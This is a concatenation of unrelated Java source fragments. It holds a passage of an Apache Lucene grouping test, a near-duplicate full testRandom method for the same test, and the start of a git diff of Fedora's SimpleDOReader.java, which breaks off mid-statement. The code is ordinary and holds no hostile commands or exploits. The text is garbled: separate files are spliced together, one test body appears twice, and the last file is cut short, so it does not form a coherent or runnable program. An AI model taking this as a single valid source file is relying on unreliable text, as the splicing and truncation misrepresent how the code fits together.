test the "doc doesn't have the group'd // field" case: groupValue = null; } else { groupValue = groups.get(random.nextInt(groups.size())); } final GroupDoc groupDoc = new GroupDoc(i, groupValue, groups.get(random.nextInt(groups.size())), groups.get(random.nextInt(groups.size())), contentStrings[random.nextInt(contentStrings.length)]); if (VERBOSE) { System.out.println(" doc content=" + groupDoc.content + " id=" + i + " group=" + (groupDoc.group == null ? "null" : groupDoc.group.utf8ToString()) + " sort1=" + groupDoc.sort1.utf8ToString() + " sort2=" + groupDoc.sort2.utf8ToString()); } groupDocs[i] = groupDoc; if (groupDoc.group != null) { group.setValue(groupDoc.group.utf8ToString()); } sort1.setValue(groupDoc.sort1.utf8ToString()); sort2.setValue(groupDoc.sort2.utf8ToString()); content.setValue(groupDoc.content); id.setIntValue(groupDoc.id); if (groupDoc.group == null) { w.addDocument(docNoGroup); } else { w.addDocument(doc); } } final GroupDoc[] groupDocsByID = new GroupDoc[groupDocs.length]; System.arraycopy(groupDocs, 0, groupDocsByID, 0, groupDocs.length); final IndexReader r = w.getReader(); w.close(); // NOTE: intentional but temporary field cache insanity! final int[] docIDToID = FieldCache.DEFAULT.getInts(r, "id"); IndexReader r2 = null; Directory dir2 = null; try { final IndexSearcher s = new IndexSearcher(r); for(int contentID=0;contentID<3;contentID++) { final ScoreDoc[] hits = s.search(new TermQuery(new Term("content", "real"+contentID)), numDocs).scoreDocs; for(ScoreDoc hit : hits) { final GroupDoc gd = groupDocs[docIDToID[hit.doc]]; assertTrue(gd.score == 0.0); gd.score = hit.score; assertEquals(gd.id, docIDToID[hit.doc]); //System.out.println(" score=" + hit.score + " id=" + docIDToID[hit.doc]); } } for(GroupDoc gd : groupDocs) { assertTrue(gd.score != 0.0); } // Build 2nd index, where docs are added in blocks by // group, so we can use single pass collector dir2 = newDirectory(); r2 = getDocBlockReader(dir2, groupDocs); final Filter lastDocInBlock = new CachingWrapperFilter(new QueryWrapperFilter(new TermQuery(new Term("groupend", "x")))); final int[] docIDToID2 = FieldCache.DEFAULT.getInts(r2, "id"); final IndexSearcher s2 = new IndexSearcher(r2); // Reader2 only increases maxDoc() vs reader, which // means a monotonic shift in scores, so we can // reliably remap them w/ Map: final Map<Float,Float> scoreMap = new HashMap<Float,Float>(); // Tricky: must separately set .score2, because the doc // block index was created with possible deletions! for(int contentID=0;contentID<3;contentID++) { //System.out.println("term=real" + contentID + " dfold=" + s.docFreq(new Term("content", "real"+contentID)) + //" dfnew=" + s2.docFreq(new Term("content", "real"+contentID))); final ScoreDoc[] hits = s2.search(new TermQuery(new Term("content", "real"+contentID)), numDocs).scoreDocs; for(ScoreDoc hit : hits) { final GroupDoc gd = groupDocsByID[docIDToID2[hit.doc]]; assertTrue(gd.score2 == 0.0); gd.score2 = hit.score; assertEquals(gd.id, docIDToID2[hit.doc]); //System.out.println(" score=" + hit.score + " id=" + docIDToID2[hit.doc]); scoreMap.put(gd.score, gd.score2); } } for(int searchIter=0;searchIter<100;searchIter++) { if (VERBOSE) { System.out.println("TEST: searchIter=" + searchIter); } final String searchTerm = "real" + random.nextInt(3); final boolean fillFields = random.nextBoolean(); boolean getScores = random.nextBoolean(); final boolean getMaxScores = random.nextBoolean(); final Sort groupSort = getRandomSort(); //final Sort groupSort = new Sort(new SortField[] {new SortField("sort1", SortField.STRING), new SortField("id", SortField.INT)}); // TODO: also test null (= sort by relevance) final Sort docSort = getRandomSort(); for(SortField sf : docSort.getSort()) { if (sf.getType() == SortField.SCORE) { getScores = true; } } for(SortField sf : groupSort.getSort()) { if (sf.getType() == SortField.SCORE) { getScores = true; } } final int topNGroups = _TestUtil.nextInt(random, 1, 30); //final int topNGroups = 4; final int docsPerGroup = _TestUtil.nextInt(random, 1, 50); final int groupOffset = _TestUtil.nextInt(random, 0, (topNGroups-1)/2); //final int groupOffset = 0; final int docOffset = _TestUtil.nextInt(random, 0, docsPerGroup-1); //final int docOffset = 0; final boolean doCache = random.nextBoolean(); final boolean doAllGroups = random.nextBoolean(); if (VERBOSE) { System.out.println("TEST: groupSort=" + groupSort + " docSort=" + docSort + " searchTerm=" + searchTerm + " topNGroups=" + topNGroups + " groupOffset=" + groupOffset + " docOffset=" + docOffset + " doCache=" + doCache + " docsPerGroup=" + docsPerGroup + " doAllGroups=" + doAllGroups + " getScores=" + getScores + " getMaxScores=" + getMaxScores); } final TermAllGroupsCollector allGroupsCollector; if (doAllGroups) { allGroupsCollector = new TermAllGroupsCollector("group"); } else { allGroupsCollector = null; } final TermFirstPassGroupingCollector c1 = new TermFirstPassGroupingCollector("group", groupSort, groupOffset+topNGroups); final CachingCollector cCache; final Collector c; final boolean useWrappingCollector = random.nextBoolean(); if (doCache) { final double maxCacheMB = random.nextDouble(); if (VERBOSE) { System.out.println("TEST: maxCacheMB=" + maxCacheMB); } if (useWrappingCollector) { if (doAllGroups) { cCache = CachingCollector.create(c1, true, maxCacheMB); c = MultiCollector.wrap(cCache, allGroupsCollector); } else { c = cCache = CachingCollector.create(c1, true, maxCacheMB); } } else { // Collect only into cache, then replay multiple times: c = cCache = CachingCollector.create(false, true, maxCacheMB); } } else { cCache = null; if (doAllGroups) { c = MultiCollector.wrap(c1, allGroupsCollector); } else { c = c1; } } s.search(new TermQuery(new Term("content", searchTerm)), c); if (doCache && !useWrappingCollector) { if (cCache.isCached()) { // Replay for first-pass grouping cCache.replay(c1); if (doAllGroups) { // Replay for all groups: cCache.replay(allGroupsCollector); } } else { // Replay by re-running search: s.search(new TermQuery(new Term("content", searchTerm)), c1); if (doAllGroups) { s.search(new TermQuery(new Term("content", searchTerm)), allGroupsCollector); } } } final Collection<SearchGroup<BytesRef>> topGroups = c1.getTopGroups(groupOffset, fillFields); final TopGroups groupsResult; if (topGroups != null) { if (VERBOSE) { System.out.println("TEST: topGroups"); for (SearchGroup<BytesRef> searchGroup : topGroups) { System.out.println(" " + (searchGroup.groupValue == null ? "null" : searchGroup.groupValue.utf8ToString()) + ": " + Arrays.deepToString(searchGroup.sortValues)); } } final TermSecondPassGroupingCollector c2 = new TermSecondPassGroupingCollector("group", topGroups, groupSort, docSort, docOffset+docsPerGroup, getScores, getMaxScores, fillFields); if (doCache) { if (cCache.isCached()) { if (VERBOSE) { System.out.println("TEST: cache is intact"); } cCache.replay(c2); } else { if (VERBOSE) { System.out.println("TEST: cache was too large"); } s.search(new TermQuery(new Term("content", searchTerm)), c2); } } else { s.search(new TermQuery(new Term("content", searchTerm)), c2); } if (doAllGroups) { TopGroups<BytesRef> tempTopGroups = c2.getTopGroups(docOffset); groupsResult = new TopGroups<BytesRef>(tempTopGroups, allGroupsCollector.getGroupCount()); } else { groupsResult = c2.getTopGroups(docOffset); } } else { groupsResult = null; if (VERBOSE) { System.out.println("TEST: no results"); } } final TopGroups<BytesRef> expectedGroups = slowGrouping(groupDocs, searchTerm, fillFields, getScores, getMaxScores, doAllGroups, groupSort, docSort, topNGroups, docsPerGroup, groupOffset, docOffset); if (VERBOSE) { if (expectedGroups == null) { System.out.println("TEST: no expected groups"); } else { System.out.println("TEST: expected groups"); for(GroupDocs<BytesRef> gd : expectedGroups.groups) { System.out.println(" group=" + (gd.groupValue == null ? "null" : gd.groupValue.utf8ToString())); for(ScoreDoc sd : gd.scoreDocs) { System.out.println(" id=" + sd.doc + " score=" + sd.score); } } } } assertEquals(docIDToID, expectedGroups, groupsResult, true, getScores); final boolean needsScores = getScores || getMaxScores || docSort == null; final BlockGroupingCollector c3 = new BlockGroupingCollector(groupSort, groupOffset+topNGroups, needsScores, lastDocInBlock); final TermAllGroupsCollector allGroupsCollector2; final Collector c4; if (doAllGroups) { allGroupsCollector2 = new TermAllGroupsCollector("group"); c4 = MultiCollector.wrap(c3, allGroupsCollector2); } else { allGroupsCollector2 = null; c4 = c3; } s2.search(new TermQuery(new Term("content", searchTerm)), c4); @SuppressWarnings("unchecked") final TopGroups<BytesRef> tempTopGroups2 = c3.getTopGroups(docSort, groupOffset, docOffset, docOffset+docsPerGroup, fillFields); final TopGroups groupsResult2; if (doAllGroups && tempTopGroups2 != null) { assertEquals((int) tempTopGroups2.totalGroupCount, allGroupsCollector2.getGroupCount()); groupsResult2 = new TopGroups<BytesRef>(tempTopGroups2, allGroupsCollector2.getGroupCount()); } else { groupsResult2 = tempTopGroups2; } if (expectedGroups != null) { // Fixup scores for reader2 for (GroupDocs groupDocsHits : expectedGroups.groups) { for(ScoreDoc hit : groupDocsHits.scoreDocs) { final GroupDoc gd = groupDocsByID[hit.doc]; assertEquals(gd.id, hit.doc); //System.out.println("fixup score " + hit.score + " to " + gd.score2 + " vs " + gd.score); hit.score = gd.score2; } } final SortField[] sortFields = groupSort.getSort(); for(int groupSortIDX=0;groupSortIDX<sortFields.length;groupSortIDX++) { if (sortFields[groupSortIDX].getType() == SortField.SCORE) { for (GroupDocs groupDocsHits : expectedGroups.groups) { if (groupDocsHits.groupSortValues != null) { groupDocsHits.groupSortValues[groupSortIDX] = scoreMap.get(groupDocsHits.groupSortValues[groupSortIDX]); assertNotNull(groupDocsHits.groupSortValues[groupSortIDX]); } } } } final SortField[] docSortFields = docSort.getSort(); for(int docSortIDX=0;docSortIDX<docSortFields.length;docSortIDX++) { if (docSortFields[docSortIDX].getType() == SortField.SCORE) { for (GroupDocs groupDocsHits : expectedGroups.groups) { for(ScoreDoc _hit : groupDocsHits.scoreDocs) { FieldDoc hit = (FieldDoc) _hit; if (hit.fields != null) { hit.fields[docSortIDX] = scoreMap.get(hit.fields[docSortIDX]); assertNotNull(hit.fields[docSortIDX]); } } } } } } assertEquals(docIDToID2, expectedGroups, groupsResult2, false, getScores); } } finally { FieldCache.DEFAULT.purge(r); if (r2 != null) { FieldCache.DEFAULT.purge(r2); } } r.close(); dir.close(); r2.close(); dir2.close(); } }
public void testRandom() throws Exception { for(int iter=0;iter<3;iter++) { if (VERBOSE) { System.out.println("TEST: iter=" + iter); } final int numDocs = _TestUtil.nextInt(random, 100, 1000) * RANDOM_MULTIPLIER; //final int numDocs = _TestUtil.nextInt(random, 5, 20); final int numGroups = _TestUtil.nextInt(random, 1, numDocs); if (VERBOSE) { System.out.println("TEST: numDocs=" + numDocs + " numGroups=" + numGroups); } final List<BytesRef> groups = new ArrayList<BytesRef>(); for(int i=0;i<numGroups;i++) { groups.add(new BytesRef(_TestUtil.randomRealisticUnicodeString(random))); //groups.add(new BytesRef(_TestUtil.randomSimpleString(random))); } final String[] contentStrings = new String[_TestUtil.nextInt(random, 2, 20)]; if (VERBOSE) { System.out.println("TEST: create fake content"); } for(int contentIDX=0;contentIDX<contentStrings.length;contentIDX++) { final StringBuilder sb = new StringBuilder(); sb.append("real" + random.nextInt(3)).append(' '); final int fakeCount = random.nextInt(10); for(int fakeIDX=0;fakeIDX<fakeCount;fakeIDX++) { sb.append("fake "); } contentStrings[contentIDX] = sb.toString(); if (VERBOSE) { System.out.println(" content=" + sb.toString()); } } Directory dir = newDirectory(); RandomIndexWriter w = new RandomIndexWriter( random, dir, newIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(random))); Document doc = new Document(); Document docNoGroup = new Document(); Field group = newField("group", "", Field.Index.NOT_ANALYZED); doc.add(group); Field sort1 = newField("sort1", "", Field.Index.NOT_ANALYZED); doc.add(sort1); docNoGroup.add(sort1); Field sort2 = newField("sort2", "", Field.Index.NOT_ANALYZED); doc.add(sort2); docNoGroup.add(sort2); Field content = newField("content", "", Field.Index.ANALYZED); doc.add(content); docNoGroup.add(content); NumericField id = new NumericField("id"); doc.add(id); docNoGroup.add(id); final GroupDoc[] groupDocs = new GroupDoc[numDocs]; for(int i=0;i<numDocs;i++) { final BytesRef groupValue; if (random.nextInt(24) == 17) { // So we test the "doc doesn't have the group'd // field" case: groupValue = null; } else { groupValue = groups.get(random.nextInt(groups.size())); } final GroupDoc groupDoc = new GroupDoc(i, groupValue, groups.get(random.nextInt(groups.size())), groups.get(random.nextInt(groups.size())), contentStrings[random.nextInt(contentStrings.length)]); if (VERBOSE) { System.out.println(" doc content=" + groupDoc.content + " id=" + i + " group=" + (groupDoc.group == null ? "null" : groupDoc.group.utf8ToString()) + " sort1=" + groupDoc.sort1.utf8ToString() + " sort2=" + groupDoc.sort2.utf8ToString()); } groupDocs[i] = groupDoc; if (groupDoc.group != null) { group.setValue(groupDoc.group.utf8ToString()); } sort1.setValue(groupDoc.sort1.utf8ToString()); sort2.setValue(groupDoc.sort2.utf8ToString()); content.setValue(groupDoc.content); id.setIntValue(groupDoc.id); if (groupDoc.group == null) { w.addDocument(docNoGroup); } else { w.addDocument(doc); } } final GroupDoc[] groupDocsByID = new GroupDoc[groupDocs.length]; System.arraycopy(groupDocs, 0, groupDocsByID, 0, groupDocs.length); final IndexReader r = w.getReader(); w.close(); // NOTE: intentional but temporary field cache insanity! final int[] docIDToID = FieldCache.DEFAULT.getInts(r, "id"); IndexReader r2 = null; Directory dir2 = null; try { final IndexSearcher s = new IndexSearcher(r); for(int contentID=0;contentID<3;contentID++) { final ScoreDoc[] hits = s.search(new TermQuery(new Term("content", "real"+contentID)), numDocs).scoreDocs; for(ScoreDoc hit : hits) { final GroupDoc gd = groupDocs[docIDToID[hit.doc]]; assertTrue(gd.score == 0.0); gd.score = hit.score; assertEquals(gd.id, docIDToID[hit.doc]); //System.out.println(" score=" + hit.score + " id=" + docIDToID[hit.doc]); } } for(GroupDoc gd : groupDocs) { assertTrue(gd.score != 0.0); } // Build 2nd index, where docs are added in blocks by // group, so we can use single pass collector dir2 = newDirectory(); r2 = getDocBlockReader(dir2, groupDocs); final Filter lastDocInBlock = new CachingWrapperFilter(new QueryWrapperFilter(new TermQuery(new Term("groupend", "x")))); final int[] docIDToID2 = FieldCache.DEFAULT.getInts(r2, "id"); final IndexSearcher s2 = new IndexSearcher(r2); // Reader2 only increases maxDoc() vs reader, which // means a monotonic shift in scores, so we can // reliably remap them w/ Map: final Map<String,Map<Float,Float>> scoreMap = new HashMap<String,Map<Float,Float>>(); // Tricky: must separately set .score2, because the doc // block index was created with possible deletions! //System.out.println("fixup score2"); for(int contentID=0;contentID<3;contentID++) { //System.out.println(" term=real" + contentID); final Map<Float,Float> termScoreMap = new HashMap<Float,Float>(); scoreMap.put("real"+contentID, termScoreMap); //System.out.println("term=real" + contentID + " dfold=" + s.docFreq(new Term("content", "real"+contentID)) + //" dfnew=" + s2.docFreq(new Term("content", "real"+contentID))); final ScoreDoc[] hits = s2.search(new TermQuery(new Term("content", "real"+contentID)), numDocs).scoreDocs; for(ScoreDoc hit : hits) { final GroupDoc gd = groupDocsByID[docIDToID2[hit.doc]]; assertTrue(gd.score2 == 0.0); gd.score2 = hit.score; assertEquals(gd.id, docIDToID2[hit.doc]); //System.out.println(" score=" + gd.score + " score2=" + hit.score + " id=" + docIDToID2[hit.doc]); termScoreMap.put(gd.score, gd.score2); } } for(int searchIter=0;searchIter<100;searchIter++) { if (VERBOSE) { System.out.println("TEST: searchIter=" + searchIter); } final String searchTerm = "real" + random.nextInt(3); final boolean fillFields = random.nextBoolean(); boolean getScores = random.nextBoolean(); final boolean getMaxScores = random.nextBoolean(); final Sort groupSort = getRandomSort(); //final Sort groupSort = new Sort(new SortField[] {new SortField("sort1", SortField.STRING), new SortField("id", SortField.INT)}); // TODO: also test null (= sort by relevance) final Sort docSort = getRandomSort(); for(SortField sf : docSort.getSort()) { if (sf.getType() == SortField.SCORE) { getScores = true; } } for(SortField sf : groupSort.getSort()) { if (sf.getType() == SortField.SCORE) { getScores = true; } } final int topNGroups = _TestUtil.nextInt(random, 1, 30); //final int topNGroups = 4; final int docsPerGroup = _TestUtil.nextInt(random, 1, 50); final int groupOffset = _TestUtil.nextInt(random, 0, (topNGroups-1)/2); //final int groupOffset = 0; final int docOffset = _TestUtil.nextInt(random, 0, docsPerGroup-1); //final int docOffset = 0; final boolean doCache = random.nextBoolean(); final boolean doAllGroups = random.nextBoolean(); if (VERBOSE) { System.out.println("TEST: groupSort=" + groupSort + " docSort=" + docSort + " searchTerm=" + searchTerm + " topNGroups=" + topNGroups + " groupOffset=" + groupOffset + " docOffset=" + docOffset + " doCache=" + doCache + " docsPerGroup=" + docsPerGroup + " doAllGroups=" + doAllGroups + " getScores=" + getScores + " getMaxScores=" + getMaxScores); } final TermAllGroupsCollector allGroupsCollector; if (doAllGroups) { allGroupsCollector = new TermAllGroupsCollector("group"); } else { allGroupsCollector = null; } final TermFirstPassGroupingCollector c1 = new TermFirstPassGroupingCollector("group", groupSort, groupOffset+topNGroups); final CachingCollector cCache; final Collector c; final boolean useWrappingCollector = random.nextBoolean(); if (doCache) { final double maxCacheMB = random.nextDouble(); if (VERBOSE) { System.out.println("TEST: maxCacheMB=" + maxCacheMB); } if (useWrappingCollector) { if (doAllGroups) { cCache = CachingCollector.create(c1, true, maxCacheMB); c = MultiCollector.wrap(cCache, allGroupsCollector); } else { c = cCache = CachingCollector.create(c1, true, maxCacheMB); } } else { // Collect only into cache, then replay multiple times: c = cCache = CachingCollector.create(false, true, maxCacheMB); } } else { cCache = null; if (doAllGroups) { c = MultiCollector.wrap(c1, allGroupsCollector); } else { c = c1; } } s.search(new TermQuery(new Term("content", searchTerm)), c); if (doCache && !useWrappingCollector) { if (cCache.isCached()) { // Replay for first-pass grouping cCache.replay(c1); if (doAllGroups) { // Replay for all groups: cCache.replay(allGroupsCollector); } } else { // Replay by re-running search: s.search(new TermQuery(new Term("content", searchTerm)), c1); if (doAllGroups) { s.search(new TermQuery(new Term("content", searchTerm)), allGroupsCollector); } } } final Collection<SearchGroup<BytesRef>> topGroups = c1.getTopGroups(groupOffset, fillFields); final TopGroups groupsResult; if (topGroups != null) { if (VERBOSE) { System.out.println("TEST: topGroups"); for (SearchGroup<BytesRef> searchGroup : topGroups) { System.out.println(" " + (searchGroup.groupValue == null ? "null" : searchGroup.groupValue.utf8ToString()) + ": " + Arrays.deepToString(searchGroup.sortValues)); } } final TermSecondPassGroupingCollector c2 = new TermSecondPassGroupingCollector("group", topGroups, groupSort, docSort, docOffset+docsPerGroup, getScores, getMaxScores, fillFields); if (doCache) { if (cCache.isCached()) { if (VERBOSE) { System.out.println("TEST: cache is intact"); } cCache.replay(c2); } else { if (VERBOSE) { System.out.println("TEST: cache was too large"); } s.search(new TermQuery(new Term("content", searchTerm)), c2); } } else { s.search(new TermQuery(new Term("content", searchTerm)), c2); } if (doAllGroups) { TopGroups<BytesRef> tempTopGroups = c2.getTopGroups(docOffset); groupsResult = new TopGroups<BytesRef>(tempTopGroups, allGroupsCollector.getGroupCount()); } else { groupsResult = c2.getTopGroups(docOffset); } } else { groupsResult = null; if (VERBOSE) { System.out.println("TEST: no results"); } } final TopGroups<BytesRef> expectedGroups = slowGrouping(groupDocs, searchTerm, fillFields, getScores, getMaxScores, doAllGroups, groupSort, docSort, topNGroups, docsPerGroup, groupOffset, docOffset); if (VERBOSE) { if (expectedGroups == null) { System.out.println("TEST: no expected groups"); } else { System.out.println("TEST: expected groups"); for(GroupDocs<BytesRef> gd : expectedGroups.groups) { System.out.println(" group=" + (gd.groupValue == null ? "null" : gd.groupValue.utf8ToString())); for(ScoreDoc sd : gd.scoreDocs) { System.out.println(" id=" + sd.doc + " score=" + sd.score); } } } } assertEquals(docIDToID, expectedGroups, groupsResult, true, getScores); final boolean needsScores = getScores || getMaxScores || docSort == null; final BlockGroupingCollector c3 = new BlockGroupingCollector(groupSort, groupOffset+topNGroups, needsScores, lastDocInBlock); final TermAllGroupsCollector allGroupsCollector2; final Collector c4; if (doAllGroups) { allGroupsCollector2 = new TermAllGroupsCollector("group"); c4 = MultiCollector.wrap(c3, allGroupsCollector2); } else { allGroupsCollector2 = null; c4 = c3; } s2.search(new TermQuery(new Term("content", searchTerm)), c4); @SuppressWarnings("unchecked") final TopGroups<BytesRef> tempTopGroups2 = c3.getTopGroups(docSort, groupOffset, docOffset, docOffset+docsPerGroup, fillFields); final TopGroups groupsResult2; if (doAllGroups && tempTopGroups2 != null) { assertEquals((int) tempTopGroups2.totalGroupCount, allGroupsCollector2.getGroupCount()); groupsResult2 = new TopGroups<BytesRef>(tempTopGroups2, allGroupsCollector2.getGroupCount()); } else { groupsResult2 = tempTopGroups2; } if (expectedGroups != null) { // Fixup scores for reader2 for (GroupDocs groupDocsHits : expectedGroups.groups) { for(ScoreDoc hit : groupDocsHits.scoreDocs) { final GroupDoc gd = groupDocsByID[hit.doc]; assertEquals(gd.id, hit.doc); //System.out.println("fixup score " + hit.score + " to " + gd.score2 + " vs " + gd.score); hit.score = gd.score2; } } final SortField[] sortFields = groupSort.getSort(); final Map<Float,Float> termScoreMap = scoreMap.get(searchTerm); for(int groupSortIDX=0;groupSortIDX<sortFields.length;groupSortIDX++) { if (sortFields[groupSortIDX].getType() == SortField.SCORE) { for (GroupDocs groupDocsHits : expectedGroups.groups) { if (groupDocsHits.groupSortValues != null) { //System.out.println("remap " + groupDocsHits.groupSortValues[groupSortIDX] + " to " + termScoreMap.get(groupDocsHits.groupSortValues[groupSortIDX])); groupDocsHits.groupSortValues[groupSortIDX] = termScoreMap.get(groupDocsHits.groupSortValues[groupSortIDX]); assertNotNull(groupDocsHits.groupSortValues[groupSortIDX]); } } } } final SortField[] docSortFields = docSort.getSort(); for(int docSortIDX=0;docSortIDX<docSortFields.length;docSortIDX++) { if (docSortFields[docSortIDX].getType() == SortField.SCORE) { for (GroupDocs groupDocsHits : expectedGroups.groups) { for(ScoreDoc _hit : groupDocsHits.scoreDocs) { FieldDoc hit = (FieldDoc) _hit; if (hit.fields != null) { hit.fields[docSortIDX] = termScoreMap.get(hit.fields[docSortIDX]); assertNotNull(hit.fields[docSortIDX]); } } } } } } assertEquals(docIDToID2, expectedGroups, groupsResult2, false, getScores); } } finally { FieldCache.DEFAULT.purge(r); if (r2 != null) { FieldCache.DEFAULT.purge(r2); } } r.close(); dir.close(); r2.close(); dir2.close(); } }
diff --git a/src/java/fedora/server/storage/SimpleDOReader.java b/src/java/fedora/server/storage/SimpleDOReader.java index 854b86585..d9d65562b 100755 --- a/src/java/fedora/server/storage/SimpleDOReader.java +++ b/src/java/fedora/server/storage/SimpleDOReader.java @@ -1,684 +1,685 @@ package fedora.server.storage; import fedora.server.Context; import fedora.server.Logging; import fedora.server.StdoutLogging; import fedora.server.errors.DisseminatorNotFoundException; import fedora.server.errors.MethodNotFoundException; import fedora.server.errors.ObjectIntegrityException; import fedora.server.errors.ServerException; import fedora.server.errors.StreamIOException; import fedora.server.errors.UnsupportedTranslationException; import fedora.server.storage.translation.DOTranslator; import fedora.server.storage.types.BasicDigitalObject; import fedora.server.storage.types.Datastream; import fedora.server.storage.types.DigitalObject; import fedora.server.storage.types.DisseminationBindingInfo; import fedora.server.storage.types.Disseminator; import fedora.server.storage.types.DSBinding; import fedora.server.storage.types.DSBindingAugmented; import fedora.server.storage.types.DSBindingMap; import fedora.server.storage.types.DSBindingMapAugmented; import fedora.server.storage.types.MethodDef; import fedora.server.storage.types.MethodDefOperationBind; import fedora.server.storage.types.MethodParmDef; import fedora.server.storage.types.ObjectMethodsDef; import java.util.ArrayList; import java.util.Date; import java.util.Iterator; import java.util.List; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.text.SimpleDateFormat; /** * * <p><b>Title:</b> SimpleDOReader.java</p> * <p><b>Description:</b> A DOReader backed by a DigitalObject.</p> * * ----------------------------------------------------------------------------- * * <p><b>License and Copyright: </b>The contents of this file are subject to the * Mozilla Public License Version 1.1 (the "License"); you may not use this file * except in compliance with the License. You may obtain a copy of the License * at <a href="http://www.mozilla.org/MPL">http://www.mozilla.org/MPL/.</a></p> * * <p>Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for * the specific language governing rights and limitations under the License.</p> * * <p>The entire file consists of original code. Copyright &copy; 2002-2004 by The * Rector and Visitors of the University of Virginia and Cornell University. * All rights reserved.</p> * * ----------------------------------------------------------------------------- * * @author [email protected] * @version $Id$ */ public class SimpleDOReader extends StdoutLogging implements DOReader { protected DigitalObject m_obj; private Context m_context; private RepositoryReader m_repoReader; private DOTranslator m_translator; private String m_exportFormat; private String m_storageFormat; private String m_encoding; private SimpleDateFormat m_formatter= new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss"); public SimpleDOReader(Context context, RepositoryReader repoReader, DOTranslator translator, String exportFormat, String storageFormat, String encoding, InputStream serializedObject, Logging logTarget) throws ObjectIntegrityException, StreamIOException, UnsupportedTranslationException, ServerException { super(logTarget); m_context=context; m_repoReader=repoReader; m_translator=translator; m_exportFormat=exportFormat; m_storageFormat=storageFormat; m_encoding=encoding; m_obj=new BasicDigitalObject(); m_translator.deserialize(serializedObject, m_obj, m_storageFormat, encoding); } /** * Alternate constructor for when a DigitalObject is already available * for some reason. */ public SimpleDOReader(Context context, RepositoryReader repoReader, DOTranslator translator, String exportFormat, String encoding, DigitalObject obj, Logging logTarget) { super(logTarget); m_context=context; m_repoReader=repoReader; m_translator=translator; m_exportFormat=exportFormat; m_encoding=encoding; m_obj=obj; } public String getFedoraObjectType() { int t=m_obj.getFedoraObjectType(); if (t==DigitalObject.FEDORA_OBJECT) { return "O"; } else { if (t==DigitalObject.FEDORA_BMECH_OBJECT) { return "M"; } else { return "D"; } } } public String getContentModelId() { return m_obj.getContentModelId(); } public Date getCreateDate() { return m_obj.getCreateDate(); } public Date getLastModDate() { return m_obj.getLastModDate(); } public String getOwnerId() { return m_obj.getOwnerId(); } public List getAuditRecords() { return m_obj.getAuditRecords(); } public InputStream GetObjectXML() throws ObjectIntegrityException, StreamIOException, UnsupportedTranslationException, ServerException { ByteArrayOutputStream bytes=new ByteArrayOutputStream(); m_translator.serialize(m_obj, bytes, m_storageFormat, "UTF-8", false); return new ByteArrayInputStream(bytes.toByteArray()); } public InputStream ExportObject(String format) throws ObjectIntegrityException, StreamIOException, UnsupportedTranslationException, ServerException { ByteArrayOutputStream bytes=new ByteArrayOutputStream(); if (format==null || format.equals("")) { m_translator.serialize(m_obj, bytes, m_exportFormat, "UTF-8", true); } else { m_translator.serialize(m_obj, bytes, format, "UTF-8", true); } return new ByteArrayInputStream(bytes.toByteArray()); } public String GetObjectPID() { return m_obj.getPid(); } public String GetObjectLabel() { return m_obj.getLabel(); } public String GetObjectState() { if (m_obj.getState()==null) return "A"; // shouldn't happen, but if it does don't die return m_obj.getState(); } public String[] ListDatastreamIDs(String state) { Iterator iter=m_obj.datastreamIdIterator(); ArrayList al=new ArrayList(); while (iter.hasNext()) { String dsId=(String) iter.next(); if (state==null) { al.add(dsId); } else { // below should never return null -- already know id exists, // and am asking for any the latest existing one. Datastream ds=GetDatastream(dsId, null); if (ds.DSState.equals(state)) { al.add(dsId); } } } iter=al.iterator(); String[] out=new String[al.size()]; int i=0; while (iter.hasNext()) { out[i]=(String) iter.next(); i++; } return out; } // returns null if can't find public Datastream getDatastream(String dsID, String versionID) { List allVersions=m_obj.datastreams(dsID); for (int i=0; i<allVersions.size(); i++) { Datastream ds=(Datastream) allVersions.get(i); if (ds.DSVersionID.equals(versionID)) { return ds; } } return null; } // returns null if can't find public Datastream GetDatastream(String datastreamID, Date versDateTime) { List allVersions=m_obj.datastreams(datastreamID); if (allVersions.size()==0) { return null; } // get the one with the closest creation date // without going over Iterator dsIter=allVersions.iterator(); Datastream closestWithoutGoingOver=null; Datastream latestCreated=null; long bestTimeDifference=-1; long latestCreateTime=-1; long vTime=-1; if (versDateTime!=null) { vTime=versDateTime.getTime(); } while (dsIter.hasNext()) { Datastream ds=(Datastream) dsIter.next(); if (versDateTime==null) { if (ds.DSCreateDT.getTime() > latestCreateTime) { latestCreateTime=ds.DSCreateDT.getTime(); latestCreated=ds; } } else { long diff=vTime-ds.DSCreateDT.getTime(); if (diff >= 0) { if ( (diff < bestTimeDifference) || (bestTimeDifference==-1) ) { bestTimeDifference=diff; closestWithoutGoingOver=ds; } } } } if (versDateTime==null) { return latestCreated; } else { return closestWithoutGoingOver; } } public Date[] getDatastreamVersions(String datastreamID) { List l=m_obj.datastreams(datastreamID); Date[] versionDates=new Date[l.size()]; for (int i=0; i<l.size(); i++) { versionDates[i]=((Datastream) l.get(i)).DSCreateDT; } return versionDates; } public Date[] getDisseminatorVersions(String dissID) { List l=m_obj.disseminators(dissID); Date[] versionDates=new Date[l.size()]; for (int i=0; i<l.size(); i++) { versionDates[i]=((Disseminator) l.get(i)).dissCreateDT; } return versionDates; } public Datastream[] GetDatastreams(Date versDateTime, String state) { String[] ids=ListDatastreamIDs(null); ArrayList al=new ArrayList(); for (int i=0; i<ids.length; i++) { Datastream ds=GetDatastream(ids[i], versDateTime); if (ds!=null && (state==null || ds.DSState.equals(state)) ) { al.add(ds); } } Datastream[] out=new Datastream[al.size()]; Iterator iter=al.iterator(); int i=0; while (iter.hasNext()) { out[i]=(Datastream) iter.next(); i++; } return out; } public String[] ListDisseminatorIDs(String state) { Iterator iter=m_obj.disseminatorIdIterator(); ArrayList al=new ArrayList(); while (iter.hasNext()) { String dissId=(String) iter.next(); if (state==null) { al.add(dissId); } else { Disseminator diss=GetDisseminator(dissId, null); if (diss.dissState.equals(state)) { al.add(dissId); } } } iter=al.iterator(); String[] out=new String[al.size()]; int i=0; while (iter.hasNext()) { out[i]=(String) iter.next(); i++; } return out; } public Disseminator GetDisseminator(String disseminatorID, Date versDateTime) { List allVersions=m_obj.disseminators(disseminatorID); if (allVersions.size()==0) { return null; } // get the one with the closest creation date // without going over Iterator dissIter=allVersions.iterator(); Disseminator closestWithoutGoingOver=null; Disseminator latestCreated=null; long bestTimeDifference=-1; long latestCreateTime=-1; long vTime=-1; if (versDateTime!=null) { vTime=versDateTime.getTime(); } while (dissIter.hasNext()) { Disseminator diss=(Disseminator) dissIter.next(); if 